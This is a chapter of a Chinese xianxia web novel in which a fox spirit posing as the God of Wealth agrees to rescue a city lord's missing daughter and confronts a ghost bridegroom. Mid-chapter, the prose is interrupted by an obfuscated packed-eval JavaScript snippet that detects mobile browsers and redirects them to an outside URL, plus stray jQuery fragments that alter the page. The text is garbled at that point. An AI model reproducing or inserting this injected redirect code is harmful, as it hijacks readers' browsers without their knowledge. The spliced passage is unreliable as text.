27. chapter27
作品:《财神,借个运》 老城主抬头,一张粉雕玉琢的芙蓉面赫然映入眼帘,好似神女自九天误入凡尘。她狐狸眼弯弯,唇畔笑意如明月清风,奇迹般的驱散老城主心中阴霾。
城主窥见她面容,瞳孔紧缩,膝盖一软跪了下去。
“财神娘娘!是财神娘娘吗!财神娘娘显灵,财神娘娘显灵!”
阿蝉歪歪脑袋说:“呀,被你发现了,不如告诉本娘娘,老人家因何故要自寻短见?”
城主对于眼前这位“财神娘娘”极为信任,他哭诉着将女儿成亲,又如何失踪一事悉数告知。
听见老城主执意要让花轿进山拜财神娘娘后,阿蝉忽然有些心虚,要说眼前人为何会将她认作财神,说来话长。
阿蝉本体是一只狐狸,家本在隔壁的隔壁山头,奈何对面山头被一只讨人厌的黑熊精占据,阿蝉只得带着妹妹连夜搬家,搬到这守息山内栖息。
守息山头占据着当今第一大门派无欲天宗,山内邪祟极少,但凡有心者都不敢在那么多仙者眼皮子底下出现,偏阿蝉不怕死,还觉得满山头灵力旺盛正便宜了她。
于是没多久,阿蝉突破了,看见宗门的道长们修仙寻求飞升,阿蝉也想飞升,去试试当神仙的快活日子,于是阿蝉开始积攒功德修行。
这样总归太慢,她又使了个法子,偷偷窃取香火。
数年来守息城下总有新人成亲,她便在山内小路两旁设下幻觉,再将照着自己模样雕刻的小石像放到神龛内,叫人误以为遇见了财神显灵,路过的新人都会拜一拜。
修仙者不屑于凡人迷信,自然不会管这些始末细节,日积月累之下,阿蝉攒了不少香火,修为更加精进。
眼前老城主成亲时,自然也在守息山内拜过,那时阿蝉恰好犯懒,忘记躲藏,老城主见树下出现一个神龛,又见树上挂着个白衣飘飘宛若神女般的人儿。
他两只眼睛将神龛内的小石像对着树上的人比了又比,最终神色激动跪下大喊:“财神娘娘显灵!”
阿蝉吓得瞌睡虫跑光,差些从树上摔下去,赶紧一撩袖子消失在原地。
见阿蝉使用“仙法”,老城主更加确信眼前人就是传说中的财神。
此后,守息城周围越传越歪,其实财神本相并非男相,而是女相,财神娘娘的威名也逐渐传开。
自那日老城主成亲回去后,数他供奉的香火最多,并鼓动城内其余百姓供奉香火,还专门建了个财神庙,将阿蝉的石像供奉在内。
阿蝉受香火供奉,自然要回报对方,于是在老城主人生当中遇见足以致命的波折后,阿蝉总会轻轻一点,助他逢凶化吉,柳暗花明。
老城主坚信,自己是受财神福泽庇佑的“天选之子”,所以他才有那般大的勇气,认为阿蝉一定会保护他女儿。
阿蝉摇摇头叹气,他女儿失踪的那段时间自己正好不在,她去了一趟隔壁的隔壁收拾那只嚣张的黑熊精去了。
那黑熊精还活在过去,认为阿蝉姐妹二人不回去,是因为怕他,于是黑熊精多次上门威胁,要娶阿蝉姐妹当压寨媳妇儿,阿蝉亲自回去收拾了它。
若非恰好回来得及时,只怕老城主此刻已受蛊惑抹了脖子。
阿蝉安抚他一番,又似不经意开口问:“老人家为何从守息山脚方向来,可是上山寻求帮助未果?”
老城主见状,狠扇自己一耳光。阿蝉静静看着他扇自己,对方冷静下来后说:“怪我,道长们再三警告不要进山,是我非要女儿进山,这才将小道长惹生气,都是我自作孽!”
见老城主言辞间有意无意护着他口中的“小道长”,阿蝉道:“小道长?”
老城主见财神娘娘好奇,如实道:“我于山下苦求无门,是一位小道长将我劝了回去。”
阿蝉心道:这“劝”回去,是指将人劝回下面重新投胎去么?
“那小道长说了些什么?”
老城主回忆起那小少年说的话,面上涌出些许迷茫,老城主说:“就是,就是一些慰藉的话。”
阿蝉望着老城主眉心隐隐浮现的咒术,失望而归。
中了咒术,定是想不起来。若她强行解咒,会引得对方警觉。
阿蝉觉得,眼前人好歹给她供过如此多的香火,算是她的“信徒”,身为“财神娘娘”,阿蝉自然要尽职尽责,守护好自己的信徒。那就帮他找寻女儿,再将背后那顽劣的少年揪出来,收拾一顿。
她眯着一双好看的狐狸眼,心下有了较量。
“你且说说,山中近来发生了何事。”她不在的这段日子,竟生了如此多的隐患。
老城主将最近山上闹邪祟一事简单道来。
阿蝉道:“有个专拐新娘的鬼新郎?”
老城主神色迷茫,又说:“城中百姓说,是鬼新娘?”
“又成了鬼新娘?”阿蝉不解,老城主口中的妖怪一会儿是鬼新郎,一会儿是鬼新娘,貌似这妖怪还会变脸。
再三思索后,老城主肯定道:“一定是鬼新娘!失踪人口中,新郎占了大头,他们都在传有个鬼新娘喜欢吃人影子,还喜欢捉新郎。”
阿蝉黑漆漆的瞳仁转了又转,她说:“本娘娘知道了。”
老城主眼中满是希冀,小心翼翼问:“财神娘娘可愿救我女儿?”
阿蝉伸出一指,说道:“能救,但不一定保活。”她说的是实话,落在嗜血妖怪手中的凡人,生还几率很小,且外界影响因素过多,妖怪喜欢呆的地方人不一定喜欢呆。
何况人类还需摄入五谷杂粮以维持生命,人类脆弱无比,不仅吃食要精挑细选,还得精细养着,否则一不小心就会死。
老城主听后心中悲怆无比,饶是如此,他也强撑着道:“不求别的,若人活着,最好,若是……还请财神娘娘将我女儿‘完完整整’带回来。”
他踉跄着就要跪倒在地,却被一双手轻轻托住臂膀。
一声叹息响起,似无奈,似妥协。
老城主抬眼,泪水瞬间模糊了视线:“娘娘慈悲!娘娘慈悲!从今往后,城中上下,必世代供奉娘娘香火,岁岁不绝,千秋万代,不敢有忘!”
受世人香火供奉,享美名千秋万代,这是多少天上的神仙都享受不到的待遇,听着真是极为诱人呢……
阿蝉舔了舔下唇,她轻飘飘道:“一诺既定,永世不悔,若是事后你出尔反尔——神灵会降下罪责诅咒,你可愿意?”
老城主举起三指朝天立下誓言:“我若未能践诺,必身遭天谴,魂归九幽,子子孙孙,世世代代,厄运缠身,多灾多难!”
在老城主看不见的地方,阿蝉黑白分明的瞳孔显现出一道金光,瞬息过后,金光尽数没入瞳孔。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168115|195513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
阿蝉垂下一双水眸,似水润泽的眉眼含笑盯着老城主:“你且安心回家,不出半个月,我便将你女儿带回来。”
.
夜半子时,山林传出几声极为瘆人的婴啼,两个巡山弟子走在山林间,其中一名弟子听见惨烈的婴啼,脸色瞬间煞白。
他说:“是、是那妖怪?”说罢,就要捏碎传送玉符。
另一名弟子见状急忙攥住他手腕:“莫捏碎!你这呆瓜脑袋,并非妖怪,此乃一种夜鸟所发出的叫声,形似婴啼罢了。”
玉符乃无欲天宗特斥心血打造的救命法器,捏碎即可瞬间传送回无欲天宗,一名弟子手中仅有一枚,碎了就没了,可巡山任务还要继续。
所幸他反应及时,才防止同伴白白浪费一枚保命法器。
同伴青白着脸问:“什么?叫得这般瘆人,竟然只是鸟叫?”
年龄稍大的弟子答:“自然。你不知道,鸟叫声种类奇多,不乏婴啼、女人叫、唢呐响——”
话方落,忽闻远处传出一声虚弱的唢呐响。
二人皆是一怔。
“师兄,这、这也是鸟叫?”
对方肯定道:“自然!”
唢呐响声愈来愈大,伴随着一阵敲锣打鼓,可谓震天响。
二人齐齐止住步伐,不远处对面,一张俊雅俏丽的白面出现在青幽鬼火之中,对方骑着高头大马,身披红衣,头束玉冠,生得清瘦高挑,做新郎打扮。
只是过于白皙的脸色配上绿油油的鬼火,在这昏天黑地的深林显得格外诡异,看见弟子二人,“新郎”一双黑瞳仁直勾勾盯着他们,然后咧嘴一笑,露出一口森白牙齿。
同伴被这笑容激得浑身一抖:“这这这这这这这鸟也生得忒像人!”
他伸手欲要抓住师兄壮胆,怎料扑了个空,扭头一看,身旁早已空空如也,地上只剩了个碎成两截的玉符。
……
“等等我师兄!”
他双手捏住玉符,用力一掰——没掰坏。
“鬼新郎”忽然生了兴致似的,停留在原地,大半身子懒散靠在马背,手托着腮,懒洋洋眯着眼看戏。
这弟子越急越使不上力,到最后快要哭了,那鬼新郎才提点道:“呆子,这是法器,用灵力。”声音嘶哑,宛若带着摧枯拉朽之力,吓得对方没收住力,给玉符来了个暴击。
玉符直接坏了。
鬼新郎噗嗤笑出声,却见对方两眼一翻,直挺挺摔倒在地。
没意思。
他一挥手,周遭枯树落叶腾空而起,形成一道卷风,将对方彻底掩盖,只露出一道呼吸的孔洞。
确保他的气息不会泄露从而招来别的东西后,阿蝉领着队伍继续深入。
途中遇见“财神娘娘”的神龛,阿蝉还要对着自己的小像诚心拜一拜,做足了架势,乍一看倒真像是悄悄摸摸钻上山来拜财神的新人。
阿蝉越往里入,越能感受到一阵叫她忍不住想要炸毛的气息。
这是妖怪潜意识里附着的领地意识在作怪。阿蝉明显能感觉到守息山内正盘踞着另一道陌生的气息,这意味着当真有不明邪祟趁她不在这段时间跑来作乱。
唢呐声响戛然而止。
阿蝉收回思绪,放目远眺,见一顶诡异花轿停留在道路中央,挡住去路。

